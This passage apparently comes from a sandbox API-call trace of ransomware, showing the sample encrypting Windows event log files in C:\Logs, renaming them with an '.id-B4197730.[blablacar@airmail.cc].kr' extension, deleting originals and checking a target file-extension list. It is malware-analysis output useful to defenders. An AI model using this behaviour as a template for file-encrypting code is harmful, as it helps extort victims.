"c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0099.363] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0099.363] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0099.363] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0099.363] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0099.364] GetLastError () returned 0x0 [0099.364] ReadFile (in: hFile=0x374, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x11000, lpOverlapped=0x0) returned 1 [0099.366] WriteFile (in: hFile=0x37c, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x11010, lpOverlapped=0x0) returned 1 [0099.368] ReadFile (in: hFile=0x374, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x0, lpOverlapped=0x0) returned 1 [0099.368] WriteFile (in: hFile=0x37c, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x136, lpOverlapped=0x0) returned 1 [0099.368] SetEndOfFile (hFile=0x37c) returned 1 [0099.368] CloseHandle (hObject=0x37c) returned 1 [0099.370] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0099.371] SetEndOfFile (hFile=0x374) returned 1 [0099.372] CloseHandle (hObject=0x374) returned 1 [0099.372] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0099.373] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx")) returned 1 [0099.373] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0099.373] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0099.373] lstrlenW (lpString=".doc") returned 4 [0099.373] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0099.373] lstrlenW (lpString=".docx") returned 5 [0099.373] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0099.373] lstrlenW (lpString=".pdf") returned 4 [0099.373] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0099.373] lstrlenW (lpString=".xls") returned 4 [0099.373] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0099.373] lstrlenW (lpString=".xlsx") returned 5 [0099.373] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0099.373] lstrlenW (lpString=".ppt") returned 4 [0099.373] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0099.373] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0099.373] lstrlenW (lpString=".zip") returned 4 [0099.373] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0099.373] lstrlenW (lpString=".rar") returned 4 [0099.373] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0099.373] lstrlenW (lpString=".bz2") returned 4 [0099.373] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0099.373] lstrlenW (lpString=".7z") returned 3 [0099.374] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0099.374] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0099.374] lstrlenW (lpString=".dbf") returned 4 [0099.374] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0099.374] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0099.374] lstrlenW (lpString=".1cd") returned 4 [0099.374] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0099.374] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0099.374] lstrlenW (lpString=".jpg") returned 4 [0099.374] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0099.374] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0099.374] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0099.374] lstrlenW (lpString=".doc") returned 4 [0099.374] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0099.374] lstrlenW (lpString=".docx") returned 5 [0099.374] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0099.374] lstrlenW (lpString=".pdf") returned 4 [0099.374] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0099.374] lstrlenW (lpString=".xls") returned 4 [0099.374] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0099.374] lstrlenW (lpString=".xlsx") returned 5 [0099.374] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0099.374] lstrlenW (lpString=".ppt") returned 4 [0099.374] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0099.374] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0099.374] lstrlenW (lpString=".zip") returned 4 [0099.374] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0099.375] lstrlenW (lpString=".rar") returned 4 [0099.375] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0099.375] lstrlenW (lpString=".bz2") returned 4 [0099.375] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0099.375] lstrlenW (lpString=".7z") returned 3 [0099.375] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0099.375] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0099.375] lstrlenW (lpString=".dbf") returned 4 [0099.375] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0099.375] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0099.375] lstrlenW (lpString=".1cd") returned 4 [0099.375] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0099.375] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0099.375] lstrlenW (lpString=".jpg") returned 4 [0099.375] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0099.375] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0099.375] lstrlenW (lpString="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 64 [0099.375] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0099.376] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x3b9ff14 | out: lpFileSize=0x3b9ff14*=69632) returned 1 [0099.376] CloseHandle (hObject=0x374) returned 1 [0099.376] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx")) returned 0x20 [0099.376] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0099.376] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0099.376] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0099.377] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0099.377] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0099.377] GetLastError () returned 0x0 [0099.377] ReadFile (in: hFile=0x374, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x11000, lpOverlapped=0x0) returned 1 [0099.379] WriteFile (in: hFile=0x37c, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x11010, lpOverlapped=0x0) returned 1 [0099.381] ReadFile (in: hFile=0x374, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x0, lpOverlapped=0x0) returned 1 [0099.381] WriteFile (in: hFile=0x37c, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x154, lpOverlapped=0x0) returned 1 [0099.381] SetEndOfFile (hFile=0x37c) returned 1 [0099.381] CloseHandle (hObject=0x37c) returned 1 [0099.384] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0099.384] SetEndOfFile (hFile=0x374) returned 1 [0099.386] CloseHandle (hObject=0x374) returned 1 [0099.386] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0099.386] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx")) returned 1 [0099.387] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0099.387] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0099.387] lstrlenW (lpString=".doc") returned 4 [0099.387] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0099.684] lstrlenW (lpString=".docx") returned 5 [0099.684] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0099.684] lstrlenW (lpString=".pdf") returned 4 [0099.684] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0099.684] lstrlenW (lpString=".xls") returned 4 [0099.684] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0099.684] lstrlenW (lpString=".xlsx") returned 5 [0099.684] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0099.684] lstrlenW (lpString=".ppt") returned 4 [0099.684] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0099.684] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0099.684] lstrlenW (lpString=".zip") returned 4 [0099.685] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0099.685] lstrlenW (lpString=".rar") returned 4 [0099.685] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0099.685] lstrlenW (lpString=".bz2") returned 4 [0099.685] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0099.685] lstrlenW (lpString=".7z") returned 3 [0099.685] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0099.685] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0099.685] lstrlenW (lpString=".dbf") returned 4 [0099.685] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0099.685] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0099.685] lstrlenW (lpString=".1cd") returned 4 [0099.685] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0099.685] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0099.685] lstrlenW (lpString=".jpg") returned 4 [0099.685] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0099.685] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0099.685] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0099.685] lstrlenW (lpString=".doc") returned 4 [0099.685] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0099.685] lstrlenW (lpString=".docx") returned 5 [0099.685] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0099.685] lstrlenW (lpString=".pdf") returned 4 [0099.685] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0099.685] lstrlenW (lpString=".xls") returned 4 [0099.685] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0099.685] lstrlenW (lpString=".xlsx") returned 5 [0099.685] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0099.685] lstrlenW (lpString=".ppt") returned 4 [0099.685] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0099.686] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0099.686] lstrlenW (lpString=".zip") returned 4 [0099.686] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0099.686] lstrlenW (lpString=".rar") returned 4 [0099.686] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0099.686] lstrlenW (lpString=".bz2") returned 4 [0099.686] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0099.686] lstrlenW (lpString=".7z") returned 3 [0099.686] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0099.686] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0099.686] lstrlenW (lpString=".dbf") returned 4 [0099.686] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0099.686] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0099.686] lstrlenW (lpString=".1cd") returned 4 [0099.686] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0099.686] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0099.686] lstrlenW (lpString=".jpg") returned 4 [0099.686] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0099.686] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0099.686] lstrlenW (lpString="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 49 [0099.686] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0099.687] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x3b9ff14 | out: lpFileSize=0x3b9ff14*=69632) returned 1 [0099.687] CloseHandle (hObject=0x35c) returned 1 [0099.687] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx")) returned 0x20 [0099.687] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0099.687] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0099.687] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0099.687] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0099.687] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0099.688] GetLastError () returned 0x0 [0099.688] ReadFile (in: hFile=0x35c, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x11000, lpOverlapped=0x0) returned 1 [0099.690] WriteFile (in: hFile=0x358, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x11010, lpOverlapped=0x0) returned 1 [0099.692] ReadFile (in: hFile=0x35c, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x0, lpOverlapped=0x0) returned 1 [0099.692] WriteFile (in: hFile=0x358, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x136, lpOverlapped=0x0) returned 1 [0099.692] SetEndOfFile (hFile=0x358) returned 1 [0099.692] CloseHandle (hObject=0x358) returned 1 [0099.694] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0099.694] SetEndOfFile (hFile=0x35c) returned 1 [0099.696] CloseHandle (hObject=0x35c) returned 1 [0099.696] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0099.696] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx")) returned 1 [0099.696] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0099.696] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0099.696] lstrlenW (lpString=".doc") returned 4 [0099.696] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0099.696] lstrlenW (lpString=".docx") returned 5 [0099.697] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0099.697] lstrlenW (lpString=".pdf") returned 4 [0099.697] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0099.697] lstrlenW (lpString=".xls") returned 4 [0099.697] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0099.697] lstrlenW (lpString=".xlsx") returned 5 [0099.697] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0099.697] lstrlenW (lpString=".ppt") returned 4 [0099.697] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0099.697] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0099.697] lstrlenW (lpString=".zip") returned 4 [0099.697] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0099.697] lstrlenW (lpString=".rar") returned 4 [0099.697] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0099.697] lstrlenW (lpString=".bz2") returned 4 [0099.697] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0099.697] lstrlenW (lpString=".7z") returned 3 [0099.697] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0099.697] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0099.697] lstrlenW (lpString=".dbf") returned 4 [0099.697] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0099.697] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0099.697] lstrlenW (lpString=".1cd") returned 4 [0099.697] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0099.697] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0099.697] lstrlenW (lpString=".jpg") returned 4 [0099.697] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0099.697] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0099.697] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0099.697] lstrlenW (lpString=".doc") returned 4 [0099.698] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0099.698] lstrlenW (lpString=".docx") returned 5 [0099.698] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0099.698] lstrlenW (lpString=".pdf") returned 4 [0099.698] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0099.698] lstrlenW (lpString=".xls") returned 4 [0099.698] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0099.698] lstrlenW (lpString=".xlsx") returned 5 [0099.698] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0099.698] lstrlenW (lpString=".ppt") returned 4 [0099.698] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0099.698] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0099.698] lstrlenW (lpString=".zip") returned 4 [0099.698] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0099.698] lstrlenW (lpString=".rar") returned 4 [0099.698] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0099.698] lstrlenW (lpString=".bz2") returned 4 [0099.698] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0099.698] lstrlenW (lpString=".7z") returned 3 [0099.698] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0099.698] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0099.700] lstrlenW (lpString=".dbf") returned 4 [0099.701] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0099.701] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0099.701] lstrlenW (lpString=".1cd") returned 4 [0099.701] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0099.701] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0099.704] lstrlenW (lpString=".jpg") returned 4 [0099.704] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0099.708] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0099.708] lstrlenW (lpString="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 48 [0099.708] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0099.713] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x3b9ff14 | out: lpFileSize=0x3b9ff14*=69632) returned 1 [0099.713] CloseHandle (hObject=0x35c) returned 1 [0099.713] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx")) returned 0x20 [0099.713] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0099.713] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0099.713] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0099.714] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0099.714] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, 